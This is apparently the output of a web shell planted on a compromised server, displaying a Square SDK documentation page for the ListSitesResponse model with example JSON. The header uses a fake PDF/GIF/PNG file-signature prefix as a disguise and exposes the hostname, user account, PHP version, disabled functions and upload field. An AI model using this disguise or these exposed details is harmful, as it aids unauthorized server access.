%PDF- %GIF98; %PNG;
Server : ApacheSystem : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64 User : addictionfreeind ( 1003) PHP Version : 7.2.34 Disable Function : exec,passthru,shell_exec,system Directory : /home/addictionfreeind/www/admin1/vendor/square/square/doc/models/ |
Upload File : |
# List Sites Response
Represents a `ListSites` response. The response can include either `sites` or `errors`.
## Structure
`ListSitesResponse`
## Fields
| Name | Type | Tags | Description | Getter | Setter |
| --- | --- | --- | --- | --- | --- |
| `errors` | [`?(Error[])`](/doc/models/error.md) | Optional | Any errors that occurred during the request. | getErrors(): ?array | setErrors(?array errors): void |
| `sites` | [`?(Site[])`](/doc/models/site.md) | Optional | The sites that belong to the seller. | getSites(): ?array | setSites(?array sites): void |
## Example (as JSON)
```json
{
"sites": [
{
"created_at": "2020-10-28T13:22:51.000000Z",
"domain": "mysite2.square.site",
"id": "site_278075276488921835",
"is_published": false,
"site_title": "My Second Site",
"updated_at": "2020-10-28T13:22:51.000000Z"
},
{
"created_at": "2020-06-18T17:45:13.000000Z",
"domain": "mysite1.square.site",
"id": "site_102725345836253849",
"is_published": true,
"site_title": "My First Site",
"updated_at": "2020-11-23T02:19:10.000000Z"
}
]
}
```